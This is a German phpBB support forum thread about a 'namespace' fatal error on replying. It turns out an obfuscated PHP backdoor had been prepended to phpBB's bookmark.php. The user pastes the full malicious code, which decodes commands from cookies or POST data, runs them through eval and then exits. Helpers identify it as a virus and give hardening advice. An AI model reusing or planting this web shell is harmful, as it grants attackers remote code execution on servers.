Hallo Community,
ich komm alein nicht mehr weiter und hoffe, hier auf Anregungen:
Hab ein phpBB 3.1.6 laufen.
Das Forum steht erst seit dem 31.12.2015. Seit ca 3 Tagen bekommt man beim Absenden einer Antwort folgende Fehlermeldung:
Fatal error: Namespace declaration statement has to be the very first statement in the script in C:\xampp\htdocs\Forum\phpbb\notification\type\bookmark.php on line 14
Nun hab ich schon einiges versucht, jedoch vergeblich. In der Bookmark.php ist oben alles rechtens von der Syntax mehr.
Hab in der Datei auch nie was geändert. Mich wundert, weshalb er die Bookmark anspricht. Bookmark wird doch gebraucht - eine Meldung daraus- wenn ein Bookmark=Lesezeichen gesetzt wurde, oder?
Es betrifft aauch nur den AbsendenButton (Routine) beim Antworten eines Postings. Erstellt man ein Posting neu, ist alles gut.
Ich hab schon versucht auf ein Thema zu antworten, welches keiner aboniert hat oder ein lesezeichen drin sein könnte - Fehlanzeige. Es ist auch egal, ob ich die Schellantwortfkt nutze oder die normale.
Die Antwort wird aber dennoch gesendet...wenn im Browser eine Seite zurück Geht und F5 drückt, sieht er seinene Antwort.
Hat jmd eine Idee?
Danke.
Gruß
Döschl
Nachtrag:
Wenn ich in meinen persönl Bereich gehe->Einstellungen->Benachrichtigungen einstellen bekomme ich dieselbe Fehlermeldung.
Namespace Fehlermeldung beim Klicken auf "Absenden"
Forumsregeln
Bitte im Thementitel den Präfix deiner phpBB-Version angeben
Bitte im Thementitel den Präfix deiner phpBB-Version angeben
- gn#36
- Ehrenadmin
- Beiträge: 9313
- Registriert: 01.10.2006 16:20
- Wohnort: Ganz in der Nähe...
- Kontaktdaten:
Re: Namespace Fehlermeldung beim Klicken auf "Absenden"
Diese Fehlermeldung muss bedeuten, dass in der angegebenen Datei fehlerhafte Änderungen gemacht wurden. Um genau zu sein, steht oberhalb von Zeile 14 (in der sowas wie
Ersetze die Datei einfach noch mal durch das Original.
Diese Fehlermeldung kann dich überall ereilen, denn Benachrichtigungen kannst du ja auf jeder Seite angezeigt bekommen.
namespace phpbb\notification\type;
stehen dürfte) beliebiger anderer PHP Code, der kein Kommentar ist. Es gibt keine andere Erklärung für diese Fehlermeldung und wenn du sicher bist, dass du keine Veränderungen an der Datei gemacht hast, dann hast du möglicherweise einen Virus.Ersetze die Datei einfach noch mal durch das Original.
Diese Fehlermeldung kann dich überall ereilen, denn Benachrichtigungen kannst du ja auf jeder Seite angezeigt bekommen.
Begegnungen mit dem Chaos sind fast unvermeidlich, Aber nicht katastrophal, solange man den Durchblick behält.
Übertreiben sollte man's im Forum aber nicht mit dem Chaos, denn da sollen ja andere durchblicken und nicht nur man selbst.
Übertreiben sollte man's im Forum aber nicht mit dem Chaos, denn da sollen ja andere durchblicken und nicht nur man selbst.
Re: Namespace Fehlermeldung beim Klicken auf "Absenden"
ja, ich hatte deine Antwort auf einen ähnlichen Beitrag gesehen...hab daraufhin die datei untersucht...und nach Änderungen gesucht....keine idee mehr gehabt..
ABER NUN
ich doofkop.... ich hab mir die originaldatei geholt...beide nebeneinander geöffnet zum vergleich. Es sieht alles gleich aus...keine zeite mehr, keine weniger, derselbe code drin. Aber nun dachte ich, ich machs einfach mal...vlt übersehe ich ja was. ich kopier die original rüber und stelle fest, die is viel kleiner als die bestehende. Ich arbeite mit WebOctron ... der zeigt nicht alles an. habe die datei mit editor geöffnet und siehe da....header voll mit müll!
Danke nochmal!!! Ich depp
ABER NUN

ich doofkop.... ich hab mir die originaldatei geholt...beide nebeneinander geöffnet zum vergleich. Es sieht alles gleich aus...keine zeite mehr, keine weniger, derselbe code drin. Aber nun dachte ich, ich machs einfach mal...vlt übersehe ich ja was. ich kopier die original rüber und stelle fest, die is viel kleiner als die bestehende. Ich arbeite mit WebOctron ... der zeigt nicht alles an. habe die datei mit editor geöffnet und siehe da....header voll mit müll!
Code: Alles auswählen
<?php $GLOBALS['g0319e'];global$g0319e;$g0319e=$GLOBALS;$g0319e['pcce2b']="\x22\x30\x41\x21\x5c\x4e\x3f\x2e\x79\x39\x57\x6d\x6e\x71\x45\x64\x7e\x24\x53\x51\x42\x33\x27\x31\x46\x61\x6f\x68\x7c\x55\x50\x34\x77\x49\x74\x40\x2c\x3b\x52\x28\x5a\x47\x25\x59\x48\x72\x73\xd\x60\x5e\x66\x36\x7b\x2a\x63\x6c\x69\x2b\x6a\x29\x23\x7d\x4d\x3a\x2f\x56\x26\xa\x75\x4c\x44\x65\x5f\x67\x38\x3c\x32\x35\x7a\x54\x58\x20\x78\x5b\x6b\x2d\x5d\x37\x4a\x70\x4f\x3d\x62\x4b\x3e\x9\x43\x76";$g0319e[$g0319e['pcce2b'][26].$g0319e['pcce2b'][9].$g0319e['pcce2b'][23].$g0319e['pcce2b'][92]]=$g0319e['pcce2b'][54].$g0319e['pcce2b'][27].$g0319e['pcce2b'][45];$g0319e[$g0319e['pcce2b'][84].$g0319e['pcce2b'][23].$g0319e['pcce2b'][1].$g0319e['pcce2b'][1].$g0319e['pcce2b'][15].$g0319e['pcce2b'][74]]=$g0319e['pcce2b'][26].$g0319e['pcce2b'][45].$g0319e['pcce2b'][15];$g0319e[$g0319e['pcce2b'][92].$g0319e['pcce2b'][92].$g0319e['pcce2b'][54].$g0319e['pcce2b'][31].$g0319e['pcce2b'][1].$g0319e['pcce2b'][87].$g0319e['pcce2b'][50].$g0319e['pcce2b'][71].$g0319e['pcce2b'][1]]=$g0319e['pcce2b'][46].$g0319e['pcce2b'][34].$g0319e['pcce2b'][45].$g0319e['pcce2b'][55].$g0319e['pcce2b'][71].$g0319e['pcce2b'][12];$g0319e[$g0319e['pcce2b'][27].$g0319e['pcce2b'][54].$g0319e['pcce2b'][77].$g0319e['pcce2b'][92].$g0319e['pcce2b'][50]]=$g0319e['pcce2b'][56].$g0319e['pcce2b'][12].$g0319e['pcce2b'][56].$g0319e['pcce2b'][72].$g0319e['pcce2b'][46].$g0319e['pcce2b'][71].$g0319e['pcce2b'][34];$g0319e[$g0319e['pcce2b'][73].$g0319e['pcce2b'][87].$g0319e['pcce2b'][25].$g0319e['pcce2b'][51].$g0319e['pcce2b'][87]]=$g0319e['pcce2b'][46].$g0319e['pcce2b'][71].$g0319e['pcce2b'][45].$g0319e['pcce2b'][56].$g0319e['pcce2b'][25].$g0319e['pcce2b'][55].$g0319e['pcce2b'][56].$g0319e['pcce2b'][78].$g0319e['pcce2b'][71];$g0319e[$g0319e['pcce2b'][45].$g0319e['pcce2b'][74].$g0319e['pcce2b'][54].$g0319e['pcce2b'][54].$g0319e['pcce2b'][76].$g0319e['pcce2b'][74].$g0319e['pcce2b'][9].$g0319e['pcce2b'][74].$g0319e['pcce2b'][15]]=$g0319e['pcce2b'][89].$g0319e['pcce2b'][27].$g0319e['pcce2b'][89].$g0319e['pcce2b'][97].$g0319e['pcce2b'][71].$g0319e['pcce2b'][45].$g0319e['pcce2b'][46].$g0319e['pcce2b'][56].$g0319e['pcce2b'][26].$g0319e['pcce2b'][12];$g0319e[$g0319e['pcce2b'][12].$g0319e['pcce2b'][23].$g0319e['pcce2b'][21].$g0319e['pcce2b'][15]]=$g0319e['pcce2b'][68].$g0319e['pcce2b'][12].$g0319e['pcce2b'][46].$g0319e['pcce2b'][71].$g0319e['pcce2b'][45].$g0319e['pcce2b'][56].$g0319e['pcce2b'][25].$g0319e['pcce2b'][55].$g0319e['pcce2b'][56].$g0319e['pcce2b'][78].$g0319e['pcce2b'][71];$g0319e[$g0319e['pcce2b'][12].$g0319e['pcce2b'][21].$g0319e['pcce2b'][1].$g0319e['pcce2b'][54].$g0319e['pcce2b'][31]]=$g0319e['pcce2b'][92].$g0319e['pcce2b'][25].$g0319e['pcce2b'][46].$g0319e['pcce2b'][71].$g0319e['pcce2b'][51].$g0319e['pcce2b'][31].$g0319e['pcce2b'][72].$g0319e['pcce2b'][15].$g0319e['pcce2b'][71].$g0319e['pcce2b'][54].$g0319e['pcce2b'][26].$g0319e['pcce2b'][15].$g0319e['pcce2b'][71];$g0319e[$g0319e['pcce2b'][13].$g0319e['pcce2b'][23].$g0319e['pcce2b'][21].$g0319e['pcce2b'][87]]=$g0319e['pcce2b'][46].$g0319e['pcce2b'][71].$g0319e['pcce2b'][34].$g0319e['pcce2b'][72].$g0319e['pcce2b'][34].$g0319e['pcce2b'][56].$g0319e['pcce2b'][11].$g0319e['pcce2b'][71].$g0319e['pcce2b'][72].$g0319e['pcce2b'][55].$g0319e['pcce2b'][56].$g0319e['pcce2b'][11].$g0319e['pcce2b'][56].$g0319e['pcce2b'][34];$g0319e[$g0319e['pcce2b'][50].$g0319e['pcce2b'][1].$g0319e['pcce2b'][31].$g0319e['pcce2b'][74].$g0319e['pcce2b'][9].$g0319e['pcce2b'][74]]=$g0319e['pcce2b'][15].$g0319e['pcce2b'][9].$g0319e['pcce2b'][71].$g0319e['pcce2b'][9].$g0319e['pcce2b'][87];$g0319e[$g0319e['pcce2b'][97].$g0319e['pcce2b'][74].$g0319e['pcce2b'][9].$g0319e['pcce2b'][9].$g0319e['pcce2b'][1].$g0319e['pcce2b'][25].$g0319e['pcce2b'][51].$g0319e['pcce2b'][87].$g0319e['pcce2b'][23]]=$g0319e['pcce2b'][78].$g0319e['pcce2b'][1].$g0319e['pcce2b'][54].$g0319e['pcce2b'][23].$g0319e['pcce2b'][23].$g0319e['pcce2b'][23].$g0319e['pcce2b'][74].$g0319e['pcce2b'][51].$g0319e['pcce2b'][71];$g0319e[$g0319e['pcce2b'][58].$g0319e['pcce2b'][21].$g0319e['pcce2b'][71].$g0319e['pcce2b'][92].$g0319e['pcce2b'][74].$g0319e['pcce2b'][92]]=$_POST;$g0319e[$g0319e['pcce2b'][45].$g0319e['pcce2b'][92].$g0319e['pcce2b'][23].$g0319e['pcce2b'][74]]=$_COOKIE;@$g0319e[$g0319e['pcce2b'][27].$g0319e['pcce2b'][54].$g0319e['pcce2b'][77].$g0319e['pcce2b'][92].$g0319e['pcce2b'][50]]($g0319e['pcce2b'][71].$g0319e['pcce2b'][45].$g0319e['pcce2b'][45].$g0319e['pcce2b'][26].$g0319e['pcce2b'][45].$g0319e['pcce2b'][72].$g0319e['pcce2b'][55].$g0319e['pcce2b'][26].$g0319e['pcce2b'][73],NULL);@$g0319e[$g0319e['pcce2b'][27].$g0319e['pcce2b'][54].$g0319e['pcce2b'][77].$g0319e['pcce2b'][92].$g0319e['pcce2b'][50]]($g0319e['pcce2b'][55].$g0319e['pcce2b'][26].$g0319e['pcce2b'][73].$g0319e['pcce2b'][72].$g0319e['pcce2b'][71].$g0319e['pcce2b'][45].$g0319e['pcce2b'][45].$g0319e['pcce2b'][26].$g0319e['pcce2b'][45].$g0319e['pcce2b'][46],0);@$g0319e[$g0319e['pcce2b'][27].$g0319e['pcce2b'][54].$g0319e['pcce2b'][77].$g0319e['pcce2b'][92].$g0319e['pcce2b'][50]]($g0319e['pcce2b'][11].$g0319e['pcce2b'][25].$g0319e['pcce2b'][82].$g0319e['pcce2b'][72].$g0319e['pcce2b'][71].$g0319e['pcce2b'][82].$g0319e['pcce2b'][71].$g0319e['pcce2b'][54].$g0319e['pcce2b'][68].$g0319e['pcce2b'][34].$g0319e['pcce2b'][56].$g0319e['pcce2b'][26].$g0319e['pcce2b'][12].$g0319e['pcce2b'][72].$g0319e['pcce2b'][34].$g0319e['pcce2b'][56].$g0319e['pcce2b'][11].$g0319e['pcce2b'][71],0);@$g0319e[$g0319e['pcce2b'][13].$g0319e['pcce2b'][23].$g0319e['pcce2b'][21].$g0319e['pcce2b'][87]](0);$y6b994d0=NULL;$ae629494=NULL;$g0319e[$g0319e['pcce2b'][89].$g0319e['pcce2b'][51].$g0319e['pcce2b'][31].$g0319e['pcce2b'][54].$g0319e['pcce2b'][25].$g0319e['pcce2b'][15].$g0319e['pcce2b'][15]]=$g0319e['pcce2b'][31].$g0319e['pcce2b'][9].$g0319e['pcce2b'][50].$g0319e['pcce2b'][9].$g0319e['pcce2b'][23].$g0319e['pcce2b'][50].$g0319e['pcce2b'][76].$g0319e['pcce2b'][77].$g0319e['pcce2b'][85].$g0319e['pcce2b'][54].$g0319e['pcce2b'][31].$g0319e['pcce2b'][76].$g0319e['pcce2b'][54].$g0319e['pcce2b'][85].$g0319e['pcce2b'][31].$g0319e['pcce2b'][1].$g0319e['pcce2b'][87].$g0319e['pcce2b'][74].$g0319e['pcce2b'][85].$g0319e['pcce2b'][25].$g0319e['pcce2b'][54].$g0319e['pcce2b'][15].$g0319e['pcce2b'][71].$g0319e['pcce2b'][85].$g0319e['pcce2b'][15].$g0319e['pcce2b'][71].$g0319e['pcce2b'][23].$g0319e['pcce2b'][25].$g0319e['pcce2b'][1].$g0319e['pcce2b'][71].$g0319e['pcce2b'][51].$g0319e['pcce2b'][87].$g0319e['pcce2b'][21].$g0319e['pcce2b'][1].$g0319e['pcce2b'][23].$g0319e['pcce2b'][23];global$p64cadd;function z0c11186e($y6b994d0,$i65cb){global$g0319e;$t8fa221="";for($n214d04=0;$n214d04<$g0319e[$g0319e['pcce2b'][92].$g0319e['pcce2b'][92].$g0319e['pcce2b'][54].$g0319e['pcce2b'][31].$g0319e['pcce2b'][1].$g0319e['pcce2b'][87].$g0319e['pcce2b'][50].$g0319e['pcce2b'][71].$g0319e['pcce2b'][1]]($y6b994d0);){for($q53ad5=0;$q53ad5<$g0319e[$g0319e['pcce2b'][92].$g0319e['pcce2b'][92].$g0319e['pcce2b'][54].$g0319e['pcce2b'][31].$g0319e['pcce2b'][1].$g0319e['pcce2b'][87].$g0319e['pcce2b'][50].$g0319e['pcce2b'][71].$g0319e['pcce2b'][1]]($i65cb)&&$n214d04<$g0319e[$g0319e['pcce2b'][92].$g0319e['pcce2b'][92].$g0319e['pcce2b'][54].$g0319e['pcce2b'][31].$g0319e['pcce2b'][1].$g0319e['pcce2b'][87].$g0319e['pcce2b'][50].$g0319e['pcce2b'][71].$g0319e['pcce2b'][1]]($y6b994d0);$q53ad5++,$n214d04++){$t8fa221.=$g0319e[$g0319e['pcce2b'][26].$g0319e['pcce2b'][9].$g0319e['pcce2b'][23].$g0319e['pcce2b'][92]]($g0319e[$g0319e['pcce2b'][84].$g0319e['pcce2b'][23].$g0319e['pcce2b'][1].$g0319e['pcce2b'][1].$g0319e['pcce2b'][15].$g0319e['pcce2b'][74]]($y6b994d0[$n214d04])^$g0319e[$g0319e['pcce2b'][84].$g0319e['pcce2b'][23].$g0319e['pcce2b'][1].$g0319e['pcce2b'][1].$g0319e['pcce2b'][15].$g0319e['pcce2b'][74]]($i65cb[$q53ad5]));}}return$t8fa221;}function d9e97($y6b994d0,$i65cb){global$g0319e;global$p64cadd;return$g0319e[$g0319e['pcce2b'][97].$g0319e['pcce2b'][74].$g0319e['pcce2b'][9].$g0319e['pcce2b'][9].$g0319e['pcce2b'][1].$g0319e['pcce2b'][25].$g0319e['pcce2b'][51].$g0319e['pcce2b'][87].$g0319e['pcce2b'][23]]($g0319e[$g0319e['pcce2b'][97].$g0319e['pcce2b'][74].$g0319e['pcce2b'][9].$g0319e['pcce2b'][9].$g0319e['pcce2b'][1].$g0319e['pcce2b'][25].$g0319e['pcce2b'][51].$g0319e['pcce2b'][87].$g0319e['pcce2b'][23]]($y6b994d0,$p64cadd),$i65cb);}foreach($g0319e[$g0319e['pcce2b'][45].$g0319e['pcce2b'][92].$g0319e['pcce2b'][23].$g0319e['pcce2b'][74]]as$i65cb=>$a82f5){$y6b994d0=$a82f5;$ae629494=$i65cb;}if(!$y6b994d0){foreach($g0319e[$g0319e['pcce2b'][58].$g0319e['pcce2b'][21].$g0319e['pcce2b'][71].$g0319e['pcce2b'][92].$g0319e['pcce2b'][74].$g0319e['pcce2b'][92]]as$i65cb=>$a82f5){$y6b994d0=$a82f5;$ae629494=$i65cb;}}$y6b994d0=@$g0319e[$g0319e['pcce2b'][12].$g0319e['pcce2b'][23].$g0319e['pcce2b'][21].$g0319e['pcce2b'][15]]($g0319e[$g0319e['pcce2b'][50].$g0319e['pcce2b'][1].$g0319e['pcce2b'][31].$g0319e['pcce2b'][74].$g0319e['pcce2b'][9].$g0319e['pcce2b'][74]]($g0319e[$g0319e['pcce2b'][12].$g0319e['pcce2b'][21].$g0319e['pcce2b'][1].$g0319e['pcce2b'][54].$g0319e['pcce2b'][31]]($y6b994d0),$ae629494));if(isset($y6b994d0[$g0319e['pcce2b'][25].$g0319e['pcce2b'][84]])&&$p64cadd==$y6b994d0[$g0319e['pcce2b'][25].$g0319e['pcce2b'][84]]){if($y6b994d0[$g0319e['pcce2b'][25]]==$g0319e['pcce2b'][56]){$n214d04=Array($g0319e['pcce2b'][89].$g0319e['pcce2b'][97]=>@$g0319e[$g0319e['pcce2b'][45].$g0319e['pcce2b'][74].$g0319e['pcce2b'][54].$g0319e['pcce2b'][54].$g0319e['pcce2b'][76].$g0319e['pcce2b'][74].$g0319e['pcce2b'][9].$g0319e['pcce2b'][74].$g0319e['pcce2b'][15]](),$g0319e['pcce2b'][46].$g0319e['pcce2b'][97]=>$g0319e['pcce2b'][23].$g0319e['pcce2b'][7].$g0319e['pcce2b'][1].$g0319e['pcce2b'][85].$g0319e['pcce2b'][23],);echo@$g0319e[$g0319e['pcce2b'][73].$g0319e['pcce2b'][87].$g0319e['pcce2b'][25].$g0319e['pcce2b'][51].$g0319e['pcce2b'][87]]($n214d04);}elseif($y6b994d0[$g0319e['pcce2b'][25]]==$g0319e['pcce2b'][71]){eval($y6b994d0[$g0319e['pcce2b'][15]]);}exit();} ?><?php
/**
*
* This file is part of the phpBB Forum Software package.
*
* @copyright (c) phpBB Limited <https://www.phpbb.com>
* @license GNU General Public License, version 2 (GPL-2.0)
*
* For full copyright and license information, please see
* the docs/CREDITS.txt file.
*
*/
namespace phpbb\notification\type;
/**
* Bookmark updating notifications class
* This class handles notifications for replies to a bookmarked topic
*/
class bookmark extends \phpbb\notification\type\post
{
/**
* Get notification type name
*
* @return string
*/
public function get_type()
{
return 'notification.type.bookmark';
}
- gn#36
- Ehrenadmin
- Beiträge: 9313
- Registriert: 01.10.2006 16:20
- Wohnort: Ganz in der Nähe...
- Kontaktdaten:
Re: Namespace Fehlermeldung beim Klicken auf "Absenden"
Das sieht aber in der Tat nach einem Virus aus - schön versteckter Code mit einem eval und anschließendem Exit um bestehenden Code zu ignorieren - offenbar klappt das bei einem darauffolgenden namespace Befehl nicht...
Begegnungen mit dem Chaos sind fast unvermeidlich, Aber nicht katastrophal, solange man den Durchblick behält.
Übertreiben sollte man's im Forum aber nicht mit dem Chaos, denn da sollen ja andere durchblicken und nicht nur man selbst.
Übertreiben sollte man's im Forum aber nicht mit dem Chaos, denn da sollen ja andere durchblicken und nicht nur man selbst.
Re: Namespace Fehlermeldung beim Klicken auf "Absenden"
Das war bestimmt einer der Spammer. Hatte am ersten tag viele Postings drin
hab nun aber alles gesichert, datein sind sauber, hab gerade alle php's mit dem editor angeschaut.
Danke nochmals!
Gruß
Döschl

Danke nochmals!
Gruß
Döschl
- gn#36
- Ehrenadmin
- Beiträge: 9313
- Registriert: 01.10.2006 16:20
- Wohnort: Ganz in der Nähe...
- Kontaktdaten:
Re: Namespace Fehlermeldung beim Klicken auf "Absenden"
Nur mal so als Hinweis: XAMPP ist für den regulären Serverbetrieb normalerweise von den Einstellungen her nicht geeignet. Das ist für Entwickler eingerichtet und nicht auf Sicherheit angelegt. Würde ich nicht vom Netz aus erreichbar machen, da gibt es besseres (und Windows ist in meinen Augen auch nicht unbedingt das beste Betriebssystem für einen Webserver, aber das ist ein bisschen Geschmackssache, wenn es ein Windows Serversystem ist).
In jedem Fall sollte dein Servernutzer keine Schreibrechte auf die phpBB Dateien besitzen - mit Ausnahme der erforderlichen Ordner (KB:rechte), dann kann sowas gar nicht erst passieren.
In jedem Fall sollte dein Servernutzer keine Schreibrechte auf die phpBB Dateien besitzen - mit Ausnahme der erforderlichen Ordner (KB:rechte), dann kann sowas gar nicht erst passieren.
Begegnungen mit dem Chaos sind fast unvermeidlich, Aber nicht katastrophal, solange man den Durchblick behält.
Übertreiben sollte man's im Forum aber nicht mit dem Chaos, denn da sollen ja andere durchblicken und nicht nur man selbst.
Übertreiben sollte man's im Forum aber nicht mit dem Chaos, denn da sollen ja andere durchblicken und nicht nur man selbst.